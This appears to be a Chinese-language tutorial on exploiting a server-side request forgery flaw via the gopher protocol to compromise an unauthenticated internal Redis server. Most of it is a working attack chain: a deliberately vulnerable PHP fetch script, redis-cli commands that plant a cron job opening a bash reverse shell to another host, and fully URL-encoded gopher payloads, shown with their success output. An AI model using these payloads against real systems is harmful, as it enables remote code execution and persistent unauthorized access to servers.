【SSRF】SSRF+Gopher搞定内网未授权Redis

Gopher 协议是 HTTP 协议出现之前。利用gopher协议可以把SSRF的威力发挥到极致。例如可以通过Gopher协议攻击redis、fastcgi、memcache等等。
需要注意的是有些版本的curl、libcurl是不支持gopher协议
查看下CentOS6.5的curl和libcurl的版本

[root@server120 php-fpm.d]# rpm -qa | grep curl
libcurl-7.19.7-52.el6.x86_64
libcurl-devel-7.19.7-52.el6.x86_64
python-pycurl-7.19.0-8.el6.x86_64
curl-7.19.7-52.el6.x86_64

查看下curl支持的协议

[root@server120 html]# curl -V
curl 7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.21 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Protocols: tftp ftp telnet dict ldap ldaps http file https ftps scp sftp 
Features: GSS-Negotiate IDN IPv6 Largefile NTLM SSL libz

可以看到支持的协议为Protocols: tftp ftp telnet dict ldap ldaps http file https ftps scp sftp
或者使用

[root@sso72 admin]# curl-config --protocols
HTTP
HTTPS
FTP
FTPS
FILE
TELNET
LDAP
DICT
TFTP

同样可以通过phpinfo看到

123

ssrf.php代码:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

通过sftp协议和dict协议,可以获取SSH和libcurl的版本。
可以使用netcat在公网起个监听,然后

curl -vv http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:2333

然后可以看到banner信息

[root@localhost netcat-0.7.1]# ./src/netcat -l -p 2333
CLIENT libcurl 7.19.7

QUIT

libcurl的版本为7.19.7

curl -vv http://127.0.0.1/ssrf.php?url=sftp://127.0.0.1:2333
[root@localhost netcat-0.7.1]# ./src/netcat -l -p 2333
SSH-2.0-libssh2_1.4.2

可以看到SSH的版本为SSH-2.0-libssh2_1.4.2

升级curl libcurl到7.51,升级步骤如下:

yum install epel-release -y
rpm -Uvh http://www.city-fan.org/ftp/contrib/yum-repo/rhel6/x86_64/city-fan.org-release-1-13.rhel6.noarch.rpm
yum install libcurl

查看升级后的版本:

[root@server120 yum.repos.d]# rpm -qa | grep curl
libcurl-7.51.0-3.0.cf.rhel6.x86_64
curl-7.51.0-3.0.cf.rhel6.x86_64
python-pycurl-7.19.0-8.el6.x86_64
libcurl-devel-7.51.0-3.0.cf.rhel6.x86_64

123

可以看到是支持gopher协议了,然后来测试一下:

curl -v 127.0.0.1/ssrf.php?url=gopher://127.0.0.1:2333/_test
[root@server120 netcat-0.7.1]# ./src/netcat -l -p 2333
test

可以看到收到了test

然后测试写入本地未授权的redis服务器的定时任务

使用nc获取一下接受到的数据,使用nc监听本地6379端口,因为要输入多条命令所以这里使用-L
-L              监听直到NetCat被结束(可断开重连)
F:\tools\工具\nc>nc.exe -L -p 6379 > C:\redis.txt
然后输入redis未授权写入crontab的命令

redis-cli -h 192.168.190.201 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.190.200/2333 0>&1\n\n"|redis-cli -h 192.168.190.201 -x set 1
redis-cli -h 192.168.190.201 config set dir /var/spool/cron/
redis-cli -h 192.168.190.201 config set dbfilename root
redis-cli -h 192.168.190.201 save

然后看一下redis.txt中写入的部分内容
123

然后使用python urlencode一下

[root@server120 tmp]# cat gopher.py 
from urllib import quote
print quote(open('/tmp/redis2.txt').read())

[root@server120 tmp]# python gopher.py 
%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.190.200/2333%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

然后我们用curl提交一下

[root@server120 html]# curl gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.190.200/2333%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
+OK
+OK
+OK
+OK
+OK

然后看一下redis,成功写入

[root@server120 tmp]# redis-cli 
127.0.0.1:6379> get 1
"\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.190.200/2333 0>&1\n\n\n"

然后看下定时任务,成功写入定时任务
123

这是使用curl提交gopher请求,然后通过ssrf来提交一下gopher请求,这里需要再次urlencode

>>> from urllib import quote
>>> print quote('gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.190.200/2333%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A')
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252462%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.190.200/2333%25200%253E%25261%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

然后提交一下

curl 'http://127.0.0.1/ssrf.php?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252462%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.190.200/2333%25200%253E%25261%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A'

可以成功写入定时任务。

另外针对PHP-FPM 9000端口监听本地的情况同样可以,不过前提是需要知道一个php文件的路径。

参考文章:
http://www.tuicool.com/articles/32UnAzq
http://0cx.cc/some_tips_with_sssrf.jspx
http://wufeifei.com/ssrf/